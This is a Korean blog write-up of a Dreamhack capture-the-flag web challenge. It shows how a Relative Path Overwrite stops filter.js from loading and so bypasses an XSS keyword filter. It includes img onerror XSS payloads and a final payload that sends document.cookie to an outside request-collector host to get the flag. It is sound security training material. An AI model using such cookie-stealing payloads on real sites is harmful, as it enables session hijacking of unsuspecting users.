이번 문제는 이전에 공부할 때 풀었던 문제이다. 다시 복습 차원에서 풀어보도록 하겠다.
공부한 것을 활용하여 처음 푸는 느낌으로 문제를 풀어나갔다.
아래는 서버 코드이다.
index.php
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Relative-Path-Overwrite</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Relative-Path-Overwrite</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/?page=vuln¶m=dreamhack">Vuln page</a></li>
<li><a href="/?page=report">Report</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/><br/>
<div class="container">
<?php
$page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
include $page;
?>
</div>
</body>
</html>
report.php
<?php
if(isset($_POST['path'])){
exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output);
echo($output[0]);
}
?>
<form method="POST" class="form-inline">
<div class="form-group">
<label class="sr-only" for="path">/</label>
<div class="input-group">
<div class="input-group-addon">http://127.0.0.1/</div>
<input type="text" class="form-control" id="path" name="path" placeholder="/">
</div>
</div>
<button type="submit" class="btn btn-primary">Report</button>
</form>
vuln.php
<script src="filter.js"></script>
<pre id=param></pre>
<script>
var param_elem = document.getElementById("param");
var url = new URL(window.location.href);
var param = url.searchParams.get("param");
if (typeof filter !== 'undefined') {
for (var i = 0; i < filter.length; i++) {
if (param.toLowerCase().includes(filter[i])) {
param = "nope !!";
break;
}
}
}
param_elem.innerHTML = param;
</script>
filter.js
var filter = ["script", "on", "frame", "object"];
코드를 분석하기 전 웹 사이트를 분석해보겠다.
vuln페이지에 들어가서 param에 아무 문자나 입력하면 화면에 출력을 해준다.
그대로 아래처럼 script를 입력하면 nope !!이 출력되면서 필터링 되는 것을 알 수 있었다.
그럼 이제 코드를 살펴보자.
var filter = ["script", "on", "frame", "object"];
위처럼 filter.js라는 파일이 vuln페이지에서 로드가 되고 있었다.
물론 다른 방법으로 우회하는 방법이야 있겠지만 일반적인 xss로는 시도할 수 없다는 것을 알 수 있다.
주목해야 할 것은 filter.js가 어떤 경로를 기준으로 로드가 되고 있는지다.
현재 filter.js는 resource를 읽어오는 과정에서 Host가 포함되지 않은 URL인 Relative URL 이다.
현재는 http://host3.dreamhack.games:prot/filter.js 의 경로로 파일을 불러오고 있다.
하지만 filter.js가 아닌 /filter.js의 경로로 파일을 불러오게 된다면 파일의 경로는 절대경로로 인식하게 된다.
이 방법을 사용하기 위해서는 index.php를 불러올 때 뒤에 /를 붙이면 된다.
일단 아래처럼 index.php를 불러오게 되면 서버는 똑같은 페이지를 로드하게 된다.
그리고 sorurce를 살펴보면 정상적으로 filter.js가 로드되어 있다.
하지만 index.php뒤에 /를 붙이게 되면
위처럼 filter.js는 절대경로에서 로드되게 되고 당연하게도 그런 파일은 없기 때문에 로드 되지 않는다.
그럼 이제 script가 필터링될 일은 없다.
아래처럼 자유롭게 script를 삽입을 시도할 수 있다.
index.php/?page=vuln¶m=<script>alert(1)</script>
하지만 위에 코드는 실행되지 않았다.
이유는 저번 기억을 되살려 보았을 때 DOM에 관련된 이유라고 하였는데 좀 더 공부해봐야 하겠다.
아무튼 script 말고도 xss의 루트는 매우 많다.
아래처럼 img로 xss를 시도해보았다.
index.php/?page=vuln¶m=<img src="" onerror=alert(1)>
성공적으로 alert가 실행되었다.
이제 report 페이지로 가서 임의의 사용자가 나의 서버에 요청을 보내는 시뮬레이션을 해보자.
index.php/?page=vuln¶m=<img src="" onerror=location.href="https://sqihcgf.request.dreamhack.games/"+document.cookie>
위와 같은 코드를 report에 제출하면서 나의 서버 툴에 요청을 보내게 했는데 아래처럼 url에는 flag가 딸려오지 않았다.
그 이유는 코드를 조금 더 분석하면 알 수 있었다.
내가 post 메소드로 보낸 페이로드는 인코딩 되고 있었다.
+는 인코딩 되면 공백이 되어버리기 때문에 +를 인코딩하여 %2b로 바꾸어준다.
index.php/?page=vuln¶m=<img src="" onerror=location.href="https://sqihcgf.request.dreamhack.games/"%2bdocument.cookie>
그리고 위와 같은 익스플로잇을 제출하면
성공적으로 flag를 얻을 수 있다.